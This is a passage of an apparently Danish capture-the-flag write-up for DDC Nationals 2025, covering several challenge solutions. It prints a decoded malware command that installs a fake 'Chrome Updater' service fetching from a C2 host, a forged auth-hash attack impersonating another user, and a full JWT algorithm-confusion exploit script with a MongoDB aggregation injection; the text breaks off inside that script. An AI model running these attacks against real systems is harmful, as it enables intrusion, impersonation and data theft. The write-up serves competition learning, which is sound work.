class="mi">114</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">75</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">126</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">45</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">57</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">124</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">56</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">82</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">83</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">37</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">78</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">90</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">96</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">39</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">123</span><span class="p">,</span> <span class="mi">46</span><span class="p">,</span> <span class="mi">125</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">94</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">117</span><span class="p">,</span> <span class="mi">36</span><span class="p">,</span> <span class="mi">65</span><span class="p">,</span> <span class="mi">109</span><span class="p">,</span> <span class="mi">113</span><span class="p">,</span> <span class="mi">70</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">42</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">121</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">84</span><span class="p">,</span> <span class="mi">127</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">120</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">66</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">53</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">58</span><span class="p">,</span> <span class="mi">122</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">118</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">115</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">a</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">c</span> <span class="o">^</span> <span class="mi">23</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
</span></span></code></pre></div><p>Efter at have kørt koden, får vi en ny powershell kommando:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="n">-t</span> <span class="n">service</span> <span class="n">-c</span> <span class="s2">&#34;C:\Windows\System32\cmd.exe&#34;</span> <span class="n">-a</span> <span class="s2">&#34;/c powershell -c iwr https://c2server.hkn/RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ==&#34;</span> <span class="n">-n</span> <span class="s2">&#34;Chrome Updater&#34;</span> <span class="n">-m</span> <span class="n">add</span>
</span></span></code></pre></div><p>Her fanger <code>RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ==</code> min opmærksomhed. Det ligner base64, og efter at have dekodet det, får vi:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">halfdan@desktop:~$ <span class="nb">echo</span> <span class="nv">RERDe2Qwd25fdGgzX3I0YmIxdF9oMGwzXzF0XzFzX3I0dGgzcl9jdXIxb3VzfQ</span><span class="o">==</span> <span class="p">|</span> base64 -d
</span></span><span class="line"><span class="cl">DDC<span class="o">{</span>d0wn_th3_r4bb1t_h0l3_1t_1s_r4th3r_cur1ous<span class="o">}</span>
</span></span></code></pre></div><p>Flag: <code>DDC{d0wn_th3_r4bb1t_h0l3_1t_1s_r4th3r_cur1ous}</code></p>
<hr>
<h3 id="bøf-baserede-værdipapirer-og-emails">Bøf-baserede værdipapirer og emails</h3>
<p>I en yderst vigtig e-mail korrespondance diskuterer JD Vance og Donald Trump forretningsidéer i topklasse, store hemmeligheder og absolut ikke mistænkelige aftaler. Dog har de, enten på grund af manglende cybersikkerhedsprincipper eller en lidt for afslappet tilgang til dem, efterladt et flag i en af deres e-mails.</p>
<p>Uheldigt for dem (men heldigt for vores Nationals-deltagere) blev en kopi af denne udveksling opsnappet via en ikke-offentliggjort XKEYSCORE-node. En tidligere NSA-medarbejder, der netop var blevet fyret af Elon Musks DOGE-projekt, har lækket et disk-image fra denne XKEYSCORE-node og han så bestemt ikke tilfreds ud.</p>
<p><a href="https://s3.ha1fdan.xyz/ddc/nationals_2025/forensics_XKEYSCORE-NODE-1.zip">Handout (XKEYSCORE-NODE-1.zip)</a></p>
<p><strong>Løsning:</strong> Ved at loade .vhd filen ind i <a href="https://www.autopsy.com/">Autopsy</a> kan vi se at der er 2 slettede filer, den ene er en pcap fil ved navn <a href="/ddc_nationals_2025/forensics/bigsteakinterception.pcap">bigsteakinterception.pcap</a>. Efter at have åbnet pcap filen i Wireshark kan vi sortere på <code>imf</code>, her finder vi en steam (<code>tcp.stream eq 4</code>) som indeholder en mail fra <code>machine1@machine1.local</code> til <code>vance@mailserver.local</code> med emnet <code>re: Very Important Business #MakeAmericaGreatAgain</code>. I denne mail er der et vedhæftet billede som hedder <code>very_secure_file.jpeg</code>. Efter at have kopiret al base64 dataen fra mailen og gemt det i en fil, kan vi dekode det med <code>base64 -d very_secure_file.txt &gt; very_secure_file.jpeg</code>.</p>
<p>Når vi åbner billedet, kan vi se at det indeholder et flag.</p>
<p><img src="/ddc_nationals_2025/forensics/very_secure_file.jpeg" alt="very_secure_file.jpeg"></p>
<p>Flag: <code>DDC{HUGE_VERY_BIG_COIN}</code></p>
<hr>
<h3 id="evilplot-parking-group">EvilPlot Parking Group</h3>
<p>YOOOO!</p>
<p>Der er en date på vej – og jeg har NUL gæsteparkeringer tilbage. Hvis der ikke kan parkeres, er aftenen totalt ødelagt.</p>
<p>Der må være et hul i det her system. Måske kan du “låne” nabo Bentes mail og rippe hende for gæsteparkeringer&hellip;</p>
<p>Der må være et eller andet sted på siden, hvor vi kan finde en genvej – måske en URL, som de fleste ikke lige tænker over at tjekke? Prøv at kigge alle de steder, der kunne give mening.</p>
<p>Skynd dig… bilen er lige om hjørnet.</p>
<p><strong>Løsning:</strong> Efter at have tjekket <code>/robots.txt</code> finder vi <code>/apidocs</code> - her er der et &ldquo;debug user&rdquo; endpoint. Ved at indsætte User ID 1, får vi en 200 OK med brugeren <code>bente@mail.dk</code> med plot id 6.</p>
<p>Efter at have kigget source koden igennem finder vi en javascript fil (/static/utils.js) i static mappen:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">CONFIG</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">maxRetries</span><span class="o">:</span> <span class="mi">5</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">enableLogs</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">debugMode</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">theme</span><span class="o">:</span> <span class="s2">&#34;dark&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">SECRET</span><span class="o">:</span> <span class="s2">&#34;th1sIsN0tTh3S3cretUreL00k1ngF0r&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">fallbackPlotId</span><span class="o">:</span> <span class="mi">99</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">hashVersion</span><span class="o">:</span> <span class="s2">&#34;v2.1-beta&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nx">useLegacyHash</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">sha256</span><span class="p">(</span><span class="nx">message</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">msgBuffer</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">TextEncoder</span><span class="p">().</span><span class="nx">encode</span><span class="p">(</span><span class="nx">message</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">hashBuffer</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">crypto</span><span class="p">.</span><span class="nx">subtle</span><span class="p">.</span><span class="nx">digest</span><span class="p">(</span><span class="s2">&#34;SHA-256&#34;</span><span class="p">,</span> <span class="nx">msgBuffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">hashArray</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="k">new</span> <span class="nx">Uint8Array</span><span class="p">(</span><span class="nx">hashBuffer</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">hashHex</span> <span class="o">=</span> <span class="nx">hashArray</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">b</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">b</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">).</span><span class="nx">padStart</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="s2">&#34;0&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">hashHex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">async</span> <span class="kd">function</span> <span class="nx">generateAuthHash</span><span class="p">(</span><span class="nx">email</span><span class="p">,</span> <span class="nx">pId</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// This hash combines the users email, plot id and secret to create a hash
</span></span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kr">await</span> <span class="nx">sha256</span><span class="p">(</span><span class="nx">email</span> <span class="o">+</span> <span class="nx">pId</span> <span class="o">+</span> <span class="nx">CONFIG</span><span class="p">.</span><span class="nx">SECRET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Dette er den måde serveren genererer auth hash på. Den bruger SHA256 til at hash&rsquo;e email, plot id og en hardcoded secret.</p>
<p>Vi kan derfor lave vores egen hash og lave en gæsteparking som brugeren <code>bente@mail.dk</code>.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;bente@mail.dk6th1sIsN0tTh3S3cretUreL00k1ngF0r&#34;</span> <span class="p">|</span> sha256sum
</span></span><span class="line"><span class="cl">b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e
</span></span></code></pre></div><p>Nu kan lave en gæsteparkering ved at besøge denne URL: <a href="http://evilplot.hkn/create-parking?user=bente@mail.dk&amp;pId=6&amp;auth=b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e">http://evilplot.hkn/create-parking?user=bente@mail.dk&amp;pId=6&amp;auth=b7e51bbb14c0b38ae395026a11e5cc515574c6363ff59a29bd6acc051a413e6e</a> og lave en gæsteparkering.</p>
<p>Flag: <code>DDC{D4MN_P4rK1nG_C0Mp4n13S_4_3v3R}</code></p>
<hr>
<h3 id="bugtracker">BugTracker</h3>
<p>Her er vores bugtracker - hvor vi har helt styr på næsten alle fejl.</p>
<p><a href="/ddc_nationals_2025/web/webexp_bugtracker.zip">Handout (bugtracker.zip)</a></p>
<p><strong>Løsning:</strong> Efter at have kigget i source koden lidt, kan vi se at serveren bruger JWT til auth, og at public key er hardcoded i koden. Vi kan ændre den algoritme der bruges til at signere token, ved at lave et <a href="https://portswigger.net/web-security/jwt/algorithm-confusion">Algorithm confusion attack</a>.</p>
<p>Full solve script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">json</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.primitives</span> <span class="kn">import</span> <span class="n">serialization</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">cryptography.hazmat.backends</span> <span class="kn">import</span> <span class="n">default_backend</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hmac</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">urllib.parse</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BASE_URL</span> <span class="o">=</span> <span class="s2">&#34;http://bugtracker.hkn&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Hardcoded public key from the handout</span>
</span></span><span class="line"><span class="cl"><span class="n">public_key</span> <span class="o">=</span> <span class="s2">&#34;&#34;&#34;-----BEGIN PUBLIC KEY-----
</span></span></span><span class="line"><span class="cl"><span class="s2">MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu312Aqc7m8puqI5i0mm4
</span></span></span><span class="line"><span class="cl"><span class="s2">+CdBRYRmccFwJme1qHVAc0RcIPSS6k3hJ/WZJgQyDuTt/DUtYb2pbVTzIso3v5HR
</span></span></span><span class="line"><span class="cl"><span class="s2">FodZ8zZdqHLBF+V8uVluwXGyjw5i7mpBS8PJQMMIL3tEPmYB21KKF1cfkMbDYE6S
</span></span></span><span class="line"><span class="cl"><span class="s2">r8BchYraXnAtLj+w6w1rzTOEYsqbktCq29xXTWU8+E+mOUYKHS8n8olyPEBfiaHY
</span></span></span><span class="line"><span class="cl"><span class="s2">fy7nUt+uMrUXxayrTWMi7HduFq4ZW7kUnH66koTo26x+HuhHuh9lhIdVLKmB64Yq
</span></span></span><span class="line"><span class="cl"><span class="s2">Kyt88r1XOAXI9cMVQZqdRuGbYSg8UgLE1mzqxkAzv0E6hITTJYQdCTAiuUX1Dj1M
</span></span></span><span class="line"><span class="cl"><span class="s2">bwIDAQAB
</span></span></span><span class="line"><span class="cl"><span class="s2">-----END PUBLIC KEY-----&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">base64</span><span class="o">.</span><span class="n">urlsafe_b64encode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s1">&#39;=&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#### EXPLOIT ####</span>
</span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;username&#34;</span><span class="p">:</span> <span class="s2">&#34;test&#34;</span><span class="p">,</span><span class="s2">&#34;password&#34;</span><span class="p">:</span> <span class="s2">&#34;test&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">BASE_URL</span><span class="si">}</span><span class="s2">/signup&#34;</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">BASE_URL</span><span class="si">}</span><span class="s2">/login&#34;</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">token</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">json</span><span class="p">()</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s2">&#34;token&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># PAYLOAD</span>
</span></span><span class="line"><span class="cl"><span class="n">parts</span> <span class="o">=</span> <span class="n">token</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;.&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">payload_b64</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">padding_needed</span> <span class="o">=</span> <span class="mi">4</span> <span class="o">-</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload_b64</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">padding_needed</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload_b64</span> <span class="o">+=</span> <span class="s1">&#39;=&#39;</span> <span class="o">*</span> <span class="n">padding_needed</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">urlsafe_b64decode</span><span class="p">(</span><span class="n">payload_b64</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># HEADER</span>
</span></span><span class="line"><span class="cl"><span class="n">header_b64</span> <span class="o">=</span> <span class="n">parts</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">padding_needed</span> <span class="o">=</span> <span class="mi">4</span> <span class="o">-</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">header_b64</span><span class="p">)</span> <span class="o">%</span> <span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">padding_needed</span> <span class="o">&lt;</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">header_b64</span> <span class="o">+=</span> <span class="s1">&#39;=&#39;</span> <span class="o">*</span> <span class="n">padding_needed</span>
</span></span><span class="line"><span class="cl"><span class="n">header</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">urlsafe_b64decode</span><span class="p">(</span><span class="n">header_b64</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key_obj</span> <span class="o">=</span> <span class="n">serialization</span><span class="o">.</span><span class="n">load_pem_public_key</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">public_key</span><span class="o">.</span><span class="n">encode</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">    <span class="n">backend</span><span class="o">=</span><span class="n">default_backend</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">raw_key_bytes</span> <span class="o">=</span> <span class="n">key_obj</span><span class="o">.</span><span class="n">public_bytes</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">encoding</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">Encoding</span><span class="o">.</span><span class="n">DER</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nb">format</span><span class="o">=</span><span class="n">serialization</span><span class="o">.</span><span class="n">PublicFormat</span><span class="o">.</span><span class="n">SubjectPublicKeyInfo</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># CHANGE algorithm from RS256 to HS256</span>
</span></span><span class="line"><span class="cl"><span class="n">header</span><span class="p">[</span><span class="s2">&#34;alg&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;HS256&#34;</span>
</span></span><span class="line"><span class="cl"><span class="c1"># SET ROLE TO ADMIN</span>
</span></span><span class="line"><span class="cl"><span class="n">payload</span><span class="p">[</span><span class="s2">&#34;role&#34;</span><span class="p">]</span> <span class="o">=</span> <span class="s2">&#34;admin&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">signing_input</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">b64url_encode</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">header</span><span class="p">))</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="n">b64url_encode</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">signature</span> <span class="o">=</span> <span class="n">hmac</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">raw_key_bytes</span><span class="p">,</span> <span class="n">signing_input</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">),</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">)</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">forged_token</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">signing_input</span><span class="si">}</span><span class="s2">.</span><span class="si">{</span><span class="n">b64url_encode</span><span class="p">(</span><span class="n">signature</span><span class="p">)</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get the flag with our admin token</span>
</span></span><span class="line"><span class="cl"><span class="n">query</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span> <span class="s2">&#34;$limit&#34;</span><span class="p">:</span> <span class="mi">1</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span> <span class="s2">&#34;$unionWith&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;coll&#34;</span><span class="p">:</span> <span class="s2">&#34;flags&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;pipeline&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span> <span class="s2">&#34;$match&#34;</span><span class="p">:</span> <span class="p">{</span> <span class="s2">&#34;label&#34;</span><span class="p">:</span> <span class="s2">&#34;ctf_flag&#34;</span> <span class="p">}</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">}}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;Authorization&#34;</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;Bearer </span><span class="si">{</span><span class="n">forged_token</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">BASE_URL</span><span class="si">}</span><span class="s2">/admin_search?query=</span><span class="si">{</span><span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">quote</span><span class="p">(</span><span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">query</span><span class="p">))</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
